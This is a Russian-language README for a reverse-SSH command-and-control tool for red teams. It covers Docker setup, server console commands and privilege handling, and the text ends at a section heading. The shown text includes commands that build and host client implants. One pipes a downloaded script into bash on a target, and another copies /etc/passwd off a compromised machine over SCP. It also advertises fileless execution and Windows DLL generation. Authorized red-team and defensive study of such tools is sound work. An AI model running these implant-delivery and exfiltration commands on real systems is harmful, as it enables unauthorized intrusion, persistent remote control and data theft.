
Инструмент управления обратными оболочками на основе SSH с поддержкой SCP/SFTP, несколькими транспортными протоколами, генерацией DLL для Windows и бесфайловым выполнением для операций red team.

(Авторство иллюстрации: https://www.instagram.com/smart.hedgehog.art/)
Хотите использовать SSH для обратных оболочек? Теперь это возможно.
SCP и SFTP для извлечения файлов с ваших целейhttp, websockets, tls и другиеhttps://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1
- [Обратный SSH](#reverse-ssh)
- [TL;DR](#tldr)
- [Настройка](#setup)
- [Базовое использование](#basic-usage)
- [Спонсоры](#sponsors)
- [Частные лица](#individuals)
- [Компании](#companies)
- [Расширенные возможности](#fancy-features)
- [Привилегии](#privileges)
- [Автоматическое обратное подключение](#automatic-connect-back)
- [Загрузка обратной оболочки (генерация клиента и встроенный HTTP-сервер)](#reverse-shell-download-client-generation-and-in-built-http-server)
- [Альтернативные транспорты (HTTP/WebSockets/TLS)](#alternate-transports-httpwebsocketstls)
- [Автодополнение Bash](#bash-autocomplete)
- [Генерация DLL для Windows](#windows-dll-generation)
- [Подсистемы SSH](#ssh-subsystems)
- [Все](#all)
- [Linux](#linux)
- [Windows](#windows)
- [Интеграция со службами Windows](#windows-service-integration)
- [Полная поддержка оболочки Windows](#full-windows-shell-support)
- [Вебхуки](#webhooks)
- [Tun (VPN)](#tun-vpn)
- [Безфайловое выполнение (клиенты поддерживают динамическую загрузку исполняемых файлов для выполнения в качестве оболочки)](#fileless-execution-clients-support-dynamically-downloading-executables-to-execute-as-shell)
- [Поддерживаемые схемы URI](#supported-uri-schemes)
- [Справка](#help)
- [Windows](#windows-help)
- [SFTP](#windows-and-sftp)
- [Ошибки порождения сеанса (0xc0000142)](#session-spawn-errors-0xc0000142)
- [Сервер, запущенный с `--insecure`, всё равно выдаёт `Failed to handshake`](#server-started-with---insecure-still-has-failed-to-handshake)
- [Foreground vs Background](#foreground-vs-background)
- [Пожертвования, поддержка или вклад](#donations-support-or-giving-back)
## TL;DR
### Настройка
Рекомендуется использовать релиз Docker, так как он включает правильную версию golang и кросс-компилятор для Windows.```sh
# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v ./data:/data reversessh/reverse_ssh
или docker compose:```yaml services: reversessh: image: reversessh/reverse_ssh ports: - "3232:2222" environment: - EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 - RSSH_CONSOLE_LABEL=c2.label - RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL - SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY} volumes: - ./data:/data
### Основное использование```sh
# Connect to the server console
ssh your.rssh.server.internal -p 3232
# List all server console commands
catcher$ help
# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25
# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh | bash
# then we can then list what clients are connected
catcher$ ls
Targets
+------------------------------------------+-----------------------------------+
| IDs | Version |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 | |
| dummy.machine | |
| 192.168.0.11:34542 | |
+------------------------------------------+-----------------------------------+
Все команды поддерживают флаг -h для получения справки.
Тогда типичные команды ssh работают, просто укажите ваш сервер rssh в качестве промежуточного хоста.```sh
ssh -J your.rssh.server.internal:3232 dummy.machine
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .
## Спонсоры
Огромное спасибо следующим людям за пожертвования проекту RSSH, благодаря которым всё это стало возможным!
### Отдельные лица
[chikamobina](https://github.com/chikamobina) за щедрые пожертвования!
[wrighterase (ctrlzero)](https://github.com/wrighterase) за пулл-реквесты и пожертвование!
### Компании
[Carapace](https://carapace.nz/) — новозеландская консалтинговая компания по кибербезопасности с чрезвычайно талантливой командой!
[<img src="https://assets.kitploit.com/production/public/readmes/5627/b077b138b5108d69a3bcb10eea9d5f195914c9fb4653689923b3a10a1ee38a64.png">](https://carapace.nz/)
## Классные возможности
### Привилегии
Сервер RSSH поддерживает очень простые привилегии пользователей. Пользователи, найденные в папке `data-directory`/`keys` (указывается с помощью `--datadir`), например `data-directory/keys/jim`, назначаются как «пользователи», которые могут видеть только тех клиентов, которые являются общедоступными (перечислены в файле `authorized_controllee_keys` без тега `owners` или с пустым тегом `owners`) либо явно назначены им (например, `owners="jim"`).
Это можно изменить во время выполнения с помощью команды `access`, которой пользователь делится доступом к своему клиенту, или администратором сервера. По умолчанию любой открытый ключ, найденный в файле `authorized_keys`, помечается как администратор для сохранения обратной совместимости.
Изменения, внесённые командой `access`, не сохраняются после перезагрузки сервера, и для этого потребуется отредактировать файл `authorized_controllee_keys` для этого конкретного клиента.
### Автоматический обратный вызов